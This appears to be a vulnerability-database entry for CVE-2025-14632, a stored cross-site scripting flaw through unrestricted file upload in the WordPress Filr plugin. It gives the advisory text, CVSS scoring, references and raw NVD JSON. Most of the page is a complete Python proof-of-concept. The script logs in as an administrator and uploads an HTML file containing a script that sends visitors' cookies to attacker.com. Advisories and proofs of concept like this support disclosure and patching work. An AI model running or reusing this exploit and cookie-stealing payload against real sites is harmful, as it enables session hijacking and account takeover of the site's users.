CVE-2025-14632

Description

The Filr – Secure document library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via unrestricted file upload in all versions up to, and including, 1.2.11 due to insufficient file type restrictions in the FILR_Uploader class. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload malicious HTML files containing JavaScript that will execute whenever a user accesses the uploaded file, granted they have permission to create or edit posts with the 'filr' post type.

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Filr – Secure document library插件 <= 1.2.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-14632 PoC - WordPress Filr Plugin Stored XSS via Malicious File Upload
Note: This PoC is for educational and security testing purposes only.
"""

import requests
import sys
from bs4 import BeautifulSoup

# Configuration
TARGET_URL = "http://target-wordpress-site.com"
USERNAME = "admin_username"
PASSWORD = "admin_password"

def get_nonce(session, url):
    """Extract WordPress nonce from the page"""
    response = session.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    nonce_tag = soup.find('input', {'id': '_wpnonce'})
    if nonce_tag:
        return nonce_tag.get('value')
    return None

def create_malicious_html():
    """Generate malicious HTML file with XSS payload"""
    xss_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>"
    malicious_html = f"""<!DOCTYPE html>
<html>
<head>
    <title>Document</title>
</head>
<body>
    <h1>Important Document</h1>
    <p>This document requires your attention.</p>
    {xss_payload}
</body>
</html>"""
    return malicious_html.encode()

def exploit():
    """Execute the stored XSS attack"""
    session = requests.Session()
    
    # Step 1: Login to WordPress as admin
    login_url = f"{TARGET_URL}/wp-login.php"
    login_data = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Log In',
        'redirect_to': f"{TARGET_URL}/wp-admin/"
    }
    
    response = session.post(login_url, data=login_data, allow_redirects=True)
    if 'wordpress_logged_in' not in session.cookies:
        print("[-] Login failed!")
        return False
    print("[+] Login successful!")
    
    # Step 2: Navigate to Filr upload page
    filr_upload_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=filr"
    nonce = get_nonce(session, filr_upload_url)
    
    # Step 3: Upload malicious HTML file
    upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
    files = {
        'file': ('malicious.html', create_malicious_html(), 'text/html')
    }
    data = {
        'action': 'filr_upload_file',
        '_wpnonce': nonce
    }
    
    response = session.post(upload_url, data=data, files=files)
    print(f"[+] Upload response: {response.text}")
    print("[+] Malicious HTML file uploaded successfully!")
    print("[*] Any user accessing this file will trigger the XSS payload")
    
    return True

if __name__ == "__main__":
    print("CVE-2025-14632 - WordPress Filr Plugin Stored XSS PoC")
    print("=" * 50)
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14632
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14632
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14632/
[4] VulDB https://vuldb.com/cve/CVE-2025-14632
[5] https://plugins.trac.wordpress.org/browser/filr-protection/tags/1.2.10/src/class-filr-uploader.php#L14
[6] https://plugins.trac.wordpress.org/browser/filr-protection/trunk/src/class-filr-uploader.php#L14
[7] https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3425333%40filr-protection&new=3425333%40filr-protection&sfp_email=&sfph_mail=
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/c16c3a8d-bae1-4729-86c8-ec13481ff187?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14632", "sourceIdentifier": "[email protected]", "published": "2026-01-17T03:16:03.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Filr – Secure document library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via unrestricted file upload in all versions up to, and including, 1.2.11 due to insufficient file type restrictions in the FILR_Uploader class. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload malicious HTML files containing JavaScript that will execute whenever a user accesses the uploaded file, granted they have permission to create or edit posts with the 'filr' post type."}, {"lang": "es", "value": "El plugin Filr – Secure document library para WordPress es vulnerable a cross-site scripting almacenado a través de la carga de archivos sin restricciones en todas las versiones hasta la 1.2.11, inclusive, debido a restricciones de tipo de archivo insuficientes en la clase FILR_Uploader. Esto permite a atacantes autenticados, con acceso de nivel de Administrador y superior, cargar archivos HTML maliciosos que contienen JavaScript que se ejecutará cada vez que un usuario acceda al archivo cargado, siempre que tengan permiso para crear o editar publicaciones con el tipo de publicación 'filr'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/filr-protection/tags/1.2.10/src/class-filr-uploader.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/filr-protection/trunk/src/class-filr-uploader.php#L14", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3425333%40filr-protection&new=3425333%40filr-protection&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c16c3a8d-bae1-4729-86c8-ec13481ff187?source=cve", "source": "[email protected]"}]}}